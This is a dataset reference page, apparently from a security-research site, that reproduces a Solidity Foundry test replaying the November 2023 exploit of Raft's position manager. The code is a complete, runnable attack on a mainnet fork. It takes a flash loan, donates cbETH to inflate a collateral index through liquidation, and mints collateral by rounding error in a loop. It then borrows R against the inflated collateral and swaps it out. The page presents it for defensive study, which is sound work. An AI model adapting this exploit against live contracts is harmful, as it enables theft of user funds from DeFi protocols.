Public reproduction file
src/test/2023-11/Raft_exp.sol
Public reproduction file for dataset entry Raft_fi.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~3.2 M USD$8// Attacker : https://etherscan.io/address/0xc1f2b71a502b551a65eee9c96318afdd5fd439fa9// Attack Contract : https://etherscan.io/address/0x0a3340129816a86b62b7eafd61427f743c315ef810// Vulnerable Contract : https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c24411// Attack Tx :https://etherscan.io/tx/0xfeedbf51b4e2338e38171f6e19501327294ab1907ab44cfd2d7e7336c975ace713// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244#code16// @Analysis17// Twitter Guy : https://twitter.com/BlockSecTeam/status/172322939352983597219interface IPRM {20 function liquidate(21 address position22 ) external;24 struct ERC20PermitSignature {25 address token;26 uint256 value;27 uint256 deadline;28 uint8 v;29 bytes32 r;30 bytes32 s;31 }33 function managePosition(34 IERC20 collateralToken,35 address position,36 uint256 collateralChange,37 bool isCollateralIncrease,38 uint256 debtChange,39 bool isDebtIncrease,40 uint256 maxFeePercentage,41 ERC20PermitSignature calldata permitSignature42 ) external returns (uint256 actualCollateralChange, uint256 actualDebtChange);43}45interface IRaftOracle {46 function fetchPrice() external returns (uint256, uint256);47}49interface IERC20Indexable is IERC20 {50 function currentIndex() external view returns (uint256);52 function totalSupply() external view override returns (uint256);54 function mint(address to, uint256 amount) external;56 function burn(address from, uint256 amount) external;57}59interface ICurve {60 function exchange(61 uint256 i,62 uint256 j,63 uint256 dx,64 uint256 min_dy,65 bool use_eth,66 address receiver67 ) external payable returns (uint256);68}70contract ContractTest is Test {71 IERC20 cbETH = IERC20(0xBe9895146f7AF43049ca1c1AE358B0541Ea49704);72 IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);73 IPRM PRM = IPRM(0x9AB6b21cDF116f611110b048987E58894786C244);74 address liquidablePosition = 0x011992114806E2c3770df73fa0D19884215db85F;75 IERC20Indexable rcbETH_c = IERC20Indexable(0xD0Db31473CaAd65428ba301D2174390d11D0C788);76 IERC20Indexable rcbETH_d = IERC20Indexable(0x7beBe1D451291099D8e05fA2676412c09C96dFbC);77 IERC20 R = IERC20(0x183015a9bA6fF60230fdEaDc3F43b3D788b13e21);78 Uni_Pair_V3 R_USDC_Pair = Uni_Pair_V3(0x190Ed02Adaf1Ef8039fCD3f006b42553467D5045);79 Uni_Pair_V3 WETH_USDC_Pair = Uni_Pair_V3(0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640);80 ICurve cbETH_ETH_Pool = ICurve(0x5FAE7E604FC3e24fd43A72867ceBaC94c65b404A);81 IRaftOracle RaftOracle = IRaftOracle(0x3cd40D6e8426C9f02Fe7B23867661377E462df3d);82 IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);83 WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);84 address expContract = 0x0A3340129816a86b62b7eafD61427f743c315ef8;86 function setUp() public {87 vm.createSelectFork("mainnet", 18_543_485);88 vm.label(address(aaveV3), "aaveV3");89 vm.label(address(PRM), "PRM");90 vm.label(address(rcbETH_c), "rcbETH_c");91 vm.label(address(rcbETH_d), "rcbETH_d");92 vm.label(address(R), "R");93 vm.label(address(R_USDC_Pair), "R_USDC_Pair");94 vm.label(address(WETH_USDC_Pair), "WETH_USDC_Pair");95 vm.label(address(WETH_USDC_Pair), "WETH_USDC_Pair");96 vm.label(address(RaftOracle), "RaftOracle");97 vm.label(address(USDC), "USDC");98 vm.label(address(WETH), "WETH");99 vm.label(address(cbETH), "cbETH");100 }102 function testExploit() external {103 deal(address(this), 0);104 deal(address(cbETH), address(this), 1.5 ether);105 deal(address(R), address(this), 3405 ether);106 vm.startPrank(address(PRM));107 rcbETH_d.mint(address(this), 3100 ether); // minimum position debt limit: 3_000 rcbETH-d108 vm.stopPrank();110 R.approve(address(PRM), type(uint256).max);111 cbETH.approve(address(PRM), type(uint256).max);113 address[] memory assets = new address[](1);114 assets[0] = address(cbETH);115 uint256[] memory amounts = new uint256[](1);116 amounts[0] = 6000 ether;117 uint256[] memory modes = new uint256[](1);118 modes[0] = 0;119 aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);121 emit log_named_decimal_uint("Attacker R balance after exploit", R.balanceOf(address(this)), R.decimals());123 emit log_named_decimal_uint("Attacker ETH balance after exploit", address(this).balance, WETH.decimals());124 }126 function executeOperation(127 address[] calldata assets,128 uint256[] calldata amounts,129 uint256[] calldata premiums,130 address initiator,131 bytes calldata params132 ) external returns (bool) {133 IERC20(assets[0]).approve(address(aaveV3), amounts[0] + premiums[0]);135 console.log("before infalte index, the storedIndex", rcbETH_c.currentIndex() / 1e18);137 uint256 storedindex1 = rcbETH_c.currentIndex();139 uint256 rcbETH_c_HeldbyAttacker = rcbETH_c.balanceOf(address(expContract)) * 1e18 / storedindex1;141 cbETH.transfer(address(PRM), cbETH.balanceOf(address(this))); // donate cbETH to PRM142 PRM.liquidate(liquidablePosition); // liquidate position to trigger setIndex144 console.log("after infalte index, the storedIndex", rcbETH_c.currentIndex() / 1e18);146 uint256 storedindex2 = rcbETH_c.currentIndex();148 console.log("storedIndex magnification factor", storedindex2 / storedindex1);150 IPRM.ERC20PermitSignature memory ERC20PermitSignature =151 IPRM.ERC20PermitSignature(address(0), uint256(0), uint256(0), uint8(0), bytes32(0), bytes32(0));153 for (uint256 i; i < (60 + rcbETH_c_HeldbyAttacker); i++) {154 PRM.managePosition(cbETH, address(this), 1, true, 0, true, 1e18, ERC20PermitSignature); // mint 1 wei rcbETH-c only using 1 wei cbETH through precision loss(rounding error)155 }157 uint256 collateralChange = cbETH.balanceOf(address(PRM));158 PRM.managePosition(cbETH, address(this), collateralChange, false, 0, true, 1e18, ERC20PermitSignature); // redeem donate cbETH from PRM160 uint256 collateralAmount = rcbETH_c.balanceOf(address(this));161 (uint256 EtherPirce,) = RaftOracle.fetchPrice();162 EtherPirce = EtherPirce / 1e18;163 uint256 debtChange = collateralAmount * EtherPirce * 100 / 130 - rcbETH_d.balanceOf(address(this));164 PRM.managePosition(cbETH, address(this), 0, true, debtChange, true, 1e18, ERC20PermitSignature); // borrow R with remaing collateral166 RTocbETH(); // swap R to cbETH168 return true;169 }171 function RTocbETH() internal {172 R_USDC_Pair.swap(address(this), true, 200_000 ether, uint160(1_205_121_041_394_742_669_707), "");173 WETH_USDC_Pair.swap(174 address(this),175 true,176 int256(USDC.balanceOf(address(this))),177 uint160(1_628_639_395_569_858_913_243_247_992_892_595),178 ""179 );180 WETH.withdraw(WETH.balanceOf(address(this)));181 cbETH_ETH_Pool.exchange{value: 5 ether}(0, 1, 5 ether, 4.5 ether, true, address(this));182 }184 function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {185 if (Uni_Pair_V3(msg.sender).token0() == address(R)) {186 R.transfer(address(R_USDC_Pair), uint256(amount0Delta));187 } else if (Uni_Pair_V3(msg.sender).token0() == address(USDC)) {188 USDC.transfer(address(WETH_USDC_Pair), uint256(amount0Delta));189 }190 }192 receive() external payable {}193}Analysis
Dataset entry
Public Foundry test for “Raft_fi” (2023-11-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/grok_exp.solSame month in the dataset · 82 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc1f2b71a502b551a65eee9c96318afdd5fd439fa
- Attack Contract
0x0a3340129816a86b62b7eafd61427f743c315ef8
- Vulnerable Contract
0x9ab6b21cdf116f611110b048987e58894786c244
- Attack Tx
0xfeedbf51b4e2338e38171f6e19501327294ab1907ab44cfd2d7e7336c975ace7
- Twitter: https://twitter.com/BlockSecTeam/status/1723229393529835972
- Explorer: https://etherscan.io/address/0xc1f2b71a502b551a65eee9c96318afdd5fd439fa
- Explorer: https://etherscan.io/address/0x0a3340129816a86b62b7eafd61427f743c315ef8
- Explorer: https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244
- Explorer: https://etherscan.io/address/0x9ab6b21cdf116f611110b048987e58894786c244#code
File record
- Name
- Raft_fi
- Path
- src/test/2023-11/Raft_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- ec9594244a09d947132b4e086b630392c802fb33
- Language
- Solidity
- Size
- 194 lines
- Date
- 2023-11-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/Raft_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob ec9594244a09d947132b4e086b630392c802fb33, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.